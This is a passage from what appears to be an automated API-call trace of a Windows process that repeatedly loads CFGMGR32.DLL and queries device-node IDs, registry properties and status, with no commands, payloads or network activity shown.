lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.986] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.986] malloc (_Size=0x18) returned 0x20abc281cc0 [0214.987] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x36, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0214.987] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3be7ad21, dwHighDateTime=0x1d9eb0c)) [0214.987] SetEvent (hEvent=0x248) returned 1 [0214.992] malloc (_Size=0xd8) returned 0x20abc2867b0 [0214.992] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0214.992] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0214.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0214.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0214.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0214.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0214.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0214.993] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0214.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0214.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0214.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0214.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0214.994] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0214.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0214.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0214.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0214.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0214.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0214.995] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0214.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0214.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0214.996] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0214.996] malloc (_Size=0x18) returned 0x20abc281ae0 [0214.996] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x36, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0214.997] malloc (_Size=0x48) returned 0x20abc27cb20 [0214.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3bea0e34, dwHighDateTime=0x1d9eb0c)) [0214.997] SetEvent (hEvent=0x248) returned 1 [0215.109] malloc (_Size=0xd8) returned 0x20abc2867b0 [0215.109] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0215.109] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0215.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0215.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0215.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0215.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0215.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0215.110] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0215.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0215.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0215.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0215.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0215.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0215.111] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0215.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0215.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0215.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0215.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0215.112] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0215.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0215.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0215.113] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0215.113] malloc (_Size=0x18) returned 0x20abc282000 [0215.113] CM_Get_Device_IDA (in: dnDevInst=0x37, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\NDISVIRTUALBUS\\0000") returned 0x0 [0215.113] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3bfac27a, dwHighDateTime=0x1d9eb0c)) [0215.114] SetEvent (hEvent=0x248) returned 1 [0215.118] malloc (_Size=0xd8) returned 0x20abc2867b0 [0215.118] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0215.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0215.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0215.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0215.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0215.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0215.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0215.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0215.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0215.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0215.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0215.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0215.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0215.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0215.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0215.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0215.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0215.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0215.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0215.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0215.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0215.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0215.122] malloc (_Size=0x18) returned 0x20abc282080 [0215.123] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0215.123] malloc (_Size=0x2a) returned 0x20abc281650 [0215.123] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281650, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281650, pulLength=0x2dc22fd3f8) returned 0x0 [0215.124] free (_Block=0x20abc281650) [0215.124] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3bfd206b, dwHighDateTime=0x1d9eb0c)) [0215.124] SetEvent (hEvent=0x248) returned 1 [0215.127] malloc (_Size=0x18) returned 0x20abc281a80 [0215.128] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0215.128] free (_Block=0x20abc281a80) [0215.128] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d570 [0215.128] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0215.128] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0215.128] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0215.128] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba799d0 [0215.128] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0215.128] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0215.128] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0215.128] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0215.129] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402060, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0215.129] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba799d0) returned 1 [0215.130] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d570) returned 1 [0215.130] malloc (_Size=0xd8) returned 0x20abc2867b0 [0215.130] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0215.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0215.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0215.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0215.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0215.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0215.132] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0215.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0215.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0215.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0215.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0215.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0215.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0215.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0215.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0215.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0215.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0215.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0215.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0215.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0215.143] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0215.144] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0215.144] malloc (_Size=0x18) returned 0x20abc281ea0 [0215.144] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0215.145] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3bff836e, dwHighDateTime=0x1d9eb0c)) [0215.145] SetEvent (hEvent=0x248) returned 1 [0215.150] malloc (_Size=0xd8) returned 0x20abc2867b0 [0215.150] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0215.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0215.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0215.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0215.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0215.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0215.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0215.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0215.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0215.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0215.151] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0215.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0215.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0215.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0215.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0215.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0215.152] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0215.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0215.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0215.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0215.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0215.153] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0215.154] malloc (_Size=0x18) returned 0x20abc281d40 [0215.154] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.282] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c1502cc, dwHighDateTime=0x1d9eb0c)) [0215.283] SetEvent (hEvent=0x248) returned 1 [0215.284] SetEvent (hEvent=0x248) returned 1 [0215.285] free (_Block=0x20abc27cb20) [0215.285] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.285] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c1502cc, dwHighDateTime=0x1d9eb0c)) [0215.286] SetEvent (hEvent=0x248) returned 1 [0215.287] SetEvent (hEvent=0x248) returned 1 [0215.287] free (_Block=0x20abc27cb20) [0215.287] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.288] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c175a8e, dwHighDateTime=0x1d9eb0c)) [0215.289] SetEvent (hEvent=0x248) returned 1 [0215.290] SetEvent (hEvent=0x248) returned 1 [0215.290] free (_Block=0x20abc27cb20) [0215.290] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.291] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c175a8e, dwHighDateTime=0x1d9eb0c)) [0215.291] SetEvent (hEvent=0x248) returned 1 [0215.294] SetEvent (hEvent=0x248) returned 1 [0215.294] free (_Block=0x20abc27cb20) [0215.295] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0215.297] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c175a8e, dwHighDateTime=0x1d9eb0c)) [0215.297] SetEvent (hEvent=0x248) returned 1 [0215.298] SetEvent (hEvent=0x248) returned 1 [0215.298] free (_Block=0x20abc27cb20) [0215.299] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x37, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0215.299] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3c175a8e, dwHighDateTime=0x1d9eb0c)) [0215.299] SetEvent (hEvent=0x248) returned 1 [0215.301] SetEvent (hEvent=0x248) returned 1 [0215.301] free (_Block=0x20abc27cb20) [0215.302] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x37, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0215.302] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3c175a8e, dwHighDateTime=0x1d9eb0c)) [0215.302] SetEvent (hEvent=0x248) returned 1 [0215.303] SetEvent (hEvent=0x248) returned 1 [0215.304] free (_Block=0x20abc27cb20) [0215.304] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0215.304] malloc (_Size=0x48) returned 0x20abc27cb20 [0215.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3c19c74d, dwHighDateTime=0x1d9eb0c)) [0215.305] SetEvent (hEvent=0x248) returned 1 [0215.595] malloc (_Size=0xd8) returned 0x20abc2867b0 [0215.595] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0215.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0215.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0215.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0215.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0215.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0215.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0215.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0215.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0215.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0215.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0215.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0215.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0215.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0215.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0215.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0215.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0215.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0215.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0215.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0215.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0215.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0215.598] malloc (_Size=0x18) returned 0x20abc281f60 [0215.598] 